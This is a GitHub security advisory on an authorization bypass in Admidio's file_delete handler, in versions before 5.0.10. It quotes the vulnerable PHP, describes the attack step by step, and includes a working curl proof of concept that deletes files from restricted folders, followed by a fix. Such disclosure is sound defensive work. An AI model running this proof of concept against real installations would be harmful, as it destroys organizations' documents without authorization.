GHSA-qc4c-hrmc-4f78 Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges

• Packagist admidio/admidio: < 5.0.10 → fixed in 5.0.10

Summary An authenticated Admidio member with upload rights on any one folder can permanently delete files from folders where they have only view access. The authorization check at the top of `modules/documents-files.php` evaluates upload rights against the attacker-supplied `folder_uuid` URL parameter — not the file's actual parent folder. The `file_delete` handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in `folder_uuid` while targeting a file in a restricted folder via `file_uuid`, an attacker bypasses the upload-right check entirely and permanently deletes the file. This is an incomplete fix of GHSA-rmpj-3x5m-9m5f, which was patched in v5.0.7 but remains exploitable in v5.0.9. Affected Version: Admidio v5.0.9 --- Details Root Cause File: `modules/documents-files.php` Issue 1 — `folder_uuid` is not required for `file_delete` mode (line 67): ```php $getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array( 'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download')) )); ``` Issue 2 — The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79–88): ```php if ($getMode != 'list' && $getMode != 'download') { $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); // uses attacker-supplied UUID if (!$folder->hasUploadRight()) { $gMessage->show($gL10n->get('SYS_NO_RIGHTS')); } } ``` Issue 3 — The `file_delete` handler only checks view rights via `getFileForDownload()`. Upload rights on the file's actual folder are never verified (lines 165–178): ```php case 'file_delete': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $file = new File($gDb); $file->getFileForDownload($getFileUUID); // view-only check, not upload $file->delete(); echo json_encode(array('status' => 'success')); break; ``` `File::getFileForDownload()` in `src/Documents/Entity/File.php` checks only view-role membership — it never verifies upload rights. --- Attack Scenario 1. The organization has two folders: `PrivateFolder` (role A: view-only) and `UploadFolder` (role A: upload + view). 2. Attacker is a member of role A — they have legitimate upload access to `UploadFolder` only. 3. Attacker enumerates a file UUID in `PrivateFolder` using `file_list` mode, which is accessible to anyone with view rights. 4. Attacker sends a `file_delete` POST using `UploadFolder`'s UUID in `folder_uuid` and the `PrivateFolder` file UUID in `file_uuid`. 5. Server checks upload rights against `UploadFolder` → passes. 6. Server deletes the file from `PrivateFolder` without ever checking upload rights there. Prerequisites: • Authenticated Admidio member account • Upload rights on at least one folder (legitimately assigned) • View rights on the target folder (sufficient to enumerate file UUIDs via `file_list` mode) • Knowledge of a target file UUID (obtainable from the folder listing) --- PoC Step 1 — Authenticate and obtain login CSRF token: ```bash curl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php > /tmp/login.html LOGIN_CSRF=$(grep -o 'name="adm_csrf_token"[^>]*value="[^"]*"' /tmp/login.html \ | grep -o 'value="[^"]*"' | cut -d'"' -f2) curl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \ -X POST "http://TARGET/system/login.php?mode=check" \ -d "usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}" ``` Step 2 — Extract authenticated session CSRF token: ```bash AUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \ "http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID" \ | grep -oP 'name:\s*"adm_csrf_token",\s*value:\s*"\K[^"]+') ``` Step 3 — Delete file from restricted folder using the upload folder UUID as bypass: ```bash curl -b /tmp/admidio_cookies.txt \ -X POST "http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID" \ -d "adm_csrf_token=${AUTH_CSRF}" ``` Expected response: `{"status":"success"}` `testmember` holds upload rights only on `UploadFolder`. `secret2.txt` (UUID `93dc6280-...-bba7-...`) resided in `PrivateFolder` and was permanently deleted from both the database and filesystem. --- Impact An authenticated Admidio member with legitimate upload access to any one folder can permanently delete files from any other folder to which they have view access — without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents. Business Impact: Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management. --- Remediation In the `file_delete` handler, after loading the file via `getFileForDownload()`, verify upload rights against the file's actual parent folder — not the URL-supplied `folder_uuid`: ```php case 'file_delete': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $file = new File($gDb); $file->getFileForDownload($getFileUUID); // Verify upload rights on the file's actual parent folder $parentFolder = new Folder($gDb); $parentFolder->readDataById((int)$file->getValue('fil_fol_id')); if (!$parentFolder->hasUploadRight()) { $gMessage->show($gL10n->get('SYS_NO_RIGHTS')); } $file->delete(); echo json_encode(array('status' => 'success')); break; ``` Alternative fix: Remove the top-level `folder_uuid` check for `file_delete` entirely and move a proper upload-rights verification into the `file_delete` case as the sole authority for authorization. Defense-in-depth recommendations: • Audit all other modes in `documents-files.php` (e.g., `folder_delete`, `file_rename`) for the same pattern of trusting `folder_uuid` from the URL instead of the resource's actual parent. • Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B. • Consider centralizing authorization in a single helper (e.g., `assertUploadRightOnFile($fileUuid)`) to eliminate the URL-parameter trust-boundary issue across the codebase. --- Credits • Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester • Disclosure: Responsible disclosure to Admidio maintainers --- References • GHSA-rmpj-3x5m-9m5f — Prior incomplete fix, patched in v5.0.7 • CWE-862: Missing Authorization • CWE-639: Authorization Bypass Through User-Controlled Key